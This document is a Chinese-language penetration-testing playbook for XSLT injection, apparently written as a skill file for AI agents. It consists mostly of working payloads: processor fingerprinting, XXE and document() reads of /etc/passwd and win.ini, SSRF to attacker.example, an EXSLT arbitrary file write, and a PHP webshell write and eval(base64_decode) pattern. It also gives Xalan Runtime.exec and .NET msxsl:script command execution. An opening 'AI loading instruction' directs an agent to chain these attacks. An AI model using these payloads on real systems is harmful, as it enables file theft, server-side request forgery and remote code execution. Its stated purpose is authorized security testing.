XSLT 注入測試:處理器指紋識別、XXE 與 document() SSRF、EXSLT 寫入原語、PHP/Java/.NET 擴充功能 RCE 攻擊面。適用於使用者可控的 XSLT/樣式表輸入或轉換端點在測試範圍內時。
SKILL: XSLT Injection — Testing Playbook
AI 加載指令:當受攻擊者影響的 XSLT 在伺服器端被編譯或執行時,就會發生 XSLT 注入。請先對處理器家族(Java/.NET/PHP/libxslt)進行指紋識別 mapped,再根據不同平台鏈接 document()、外部實體、EXSLT 或內嵌腳本/擴充功能。僅限授權測試;許多 Payload 具有破壞性。路由說明:若輸入屬於通用 XML 解析且未必會進入 XSLT,請交叉加載
xxe-xml-external-entity;若關注外發的document(http:...)請求,請交叉加載ssrf-server-side-request-forgery。
0. 快速入門
- 尋找 Sink(接收點):名稱為
xslt、stylesheet、transform、template的參數、SOAP 樣式表、報表生成器、XML→HTML 轉換器。 - 探測反射:注入獨特的命名空間或
xsl:value-of select="'marker'"— 若輸出發生變化,很可能已被執行。 - 指紋識別 處理器(§1)。
- 按處理器家族提權:document() / XXE(§2–3)、EXSLT 寫入(§4)、PHP(§5)、Java(§6)、.NET(§7)。
快速探測(無害標記):
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="'XSLT_PROBE_OK'"/>
</xsl:template>
</xsl:stylesheet>
1. 廠商檢測
在運算式內部使用標準的 system-property 讀取:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
常見指紋(僅列舉範例):
| 特徵訊號 | 可能的引擎 |
|---|---|
Apache Software Foundation / Xalan 標記 |
Xalan (Java) |
Saxonica / Saxon URI 提示 |
Saxon |
libxslt / GNOME 技術棧 |
libxslt (C,常透過 PHP、nginx 模組等) |
| Microsoft URL / MSXML 字串 | MSXML / .NET XSLT 技術棧 |
根據識別結果選擇 §5–§7 的推進路徑。
2. 外部實體(透過 XSLT 觸發 XXE)
當解析器允許 DTD 時,XSLT 1.0 允許在樣式表或原始檔中使用基於 DTD 的實體:
<!DOCTYPE xsl:stylesheet [
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="'ENTITY_START'"/>
<xsl:value-of select="&ext_file;"/>
<xsl:value-of select="'ENTITY_END'"/>
</xsl:template>
</xsl:stylesheet>
注意:經安全加固的解析器會停用外部 DTD — 此處失敗並不代表不存在其他 XSLT 攻擊向量(參見 §3)。
3. 透過 document() 讀取檔案
document() 能將另一個 XML 文件載入為節點集;本地檔案通常會被嘗試解析為 XML(容易引發報錯),但錯誤訊息與部分讀取仍可能造成洩漏。
Unix 範例:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Windows 範例:
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / 帶外 (Out-of-band):
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
若內嵌資料未返回給用戶端,可結合基於報錯 (Error-based) 或時序 (Timing) 特徵進行判斷。
4. 透過 EXSLT 寫入檔案 (exslt:document)
當啟用 EXSLT common 擴充功能時:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/tmp/evil.txt" method="text">
<xsl:text>PROOF_CONTENT</xsl:text>
</exploit:document>
</xsl:template>
</xsl:stylesheet>
影響:在路徑權限允許的情況下進行任意檔案寫入 — 通常可透過 Web 根目錄、cron 任務路徑或檔案包含點實現 RCE。
5. 透過 PHP 實現 RCE (php:function)
需要 PHP XSLT 暴露了 registerPHPFunctions() 式的配置(應用程式安全性誤設定)。命名空間設定:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function('readfile','index.php')"/>
</xsl:template>
</xsl:stylesheet>
目錄清單列舉:
<xsl:value-of select="php:function('scandir','.')"/>
危險模式(歷史濫用案例 — 僅限在實驗室環境驗證):
php:function('assert', string($payload))— 依賴具體環境,通常已被廢棄或移除;舊版應用中常與include/require鏈接。php:function('file_put_contents','/var/www/shell.php','<?php ...')— 當可呼叫函數被草率列入白名單時,可寫入 Webshell。- 帶
/e修飾符的preg_replace(舊版 PHP)— 替換字串會被當作 PHP 程式碼執行;Metasploit 式的鏈接通常封裝了 Blob 的 base64_decode 來偷渡 meterpreter(或其他)分段 Payload。在 PHP 7+ 中已移除;僅適用於極為古老執行階段。
舊版 PHP 等價範例(展示 /e + base64 模式 — 僅限實驗室):
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
僅當 php:function 向使用者樣式表暴露了 preg_replace 時,才能從 XSLT 觸發此攻擊面(罕見且屬嚴重安全性誤設定)。
測試者注意事項:現代 PHP 安全加固通常會阻斷這些操作;未成功實現 RCE 並不代表不存在 document() / XXE 漏洞。
6. 透過 JAVA 實現 RCE (SAXON / XALAN 擴充功能)
Java 引擎可能會暴露對應到靜態方法的擴充功能函數。歷史漏洞公告中有相關範例;具體語法取決於版本與擴充功能繫結。
說明性模式(概念性 — 請根據允許的擴充功能命名空間與 API 進行調整):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
</xsl:template>
</xsl:stylesheet>
Saxon 風格的靜態 Java 整合(高度依賴具體配置):
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
將 192.0.2.1 替換為您的實驗室 Listener / 文檔專用 IP (RFC 5737 TEST-NET)。
操作指南:若擴充功能已被停用(常見的安全預設配置),請轉向 document()、SSRF 或其他位置的反序列化 — 並非所有 XSLT 端點都會開啟擴充功能。
7. 透過 .NET 實現 RCE (msxsl:script)
當允許使用 Microsoft XSLT 腳本區塊時:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
extension-element-prefixes="msxsl">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xexec() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
return "ok";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xexec()"/>
</xsl:template>
</xsl:stylesheet>
預設安全配置通常會停用腳本 — 請將此視為僅在啟用時生效的行為。
8. 決策樹
使用者能否影響 XSLT 或 XML 轉換?
|
否 --> 停止(超出範圍)
|
是
|
+---------------+---------------+
| |
輸出是否反映 無反映
注入的邏輯? 嘗試盲注通道
| |
v v
system-property() 錯誤、OOB、時序
指紋識別廠商 |
| |
+-----------+-----------+ |
| | | |
libxslt Java .NET document()
| | | |
document() Saxon/Xalan msxsl:script? SSRF/檔案
EXSLT 寫入 擴充功能? | |
| | C# Process EXSLT?
v v v v
檔案讀寫 rt/exec cmd.exe /c 對齊證據鏈
Payloads All The Things (PAT) 備註
PayloadsAllTheThings 專案記錄了許多注入類別;針對 XSLT,維護者筆記指出沒有類似 SQLi/XSS 工具鏈那樣的專屬維護工具專區 — 利用方式取決於具體處理器與配置,主要由 Proxy/手動 Payload 以及自訂腳本驅動。若條件允許,請預留時間使用與目標相同的引擎/版本進行本地實驗室重現。
工具(實務)
| 類別 | 範例 |
|---|---|
| Proxy / 手動 | Burp Suite、OWASP ZAP — 重放樣式表 Payload,觀察回應與報錯 |
| XML/XSLT 實驗室 | 在 VM 中搭配與目標完全一致的處理器(PHP libxslt、Java Saxon 版本、.NET framework) |
| 帶外 (Out-of-band) | Collaborator / 私有 Callback 伺服器,用於 document('http://…') |
沒有任何單一通用掃描器能取代特定版本行為的驗證。
相關內容
- xxe-xml-external-entity — DTD/實體加固、通用 XML 解析器 (
../xxe-xml-external-entity/SKILL.md)。 - ssrf-server-side-request-forgery — 當
document(http:…)或實體 URL 導致伺服器抓取時 (../ssrf-server-side-request-forgery/SKILL.md)。






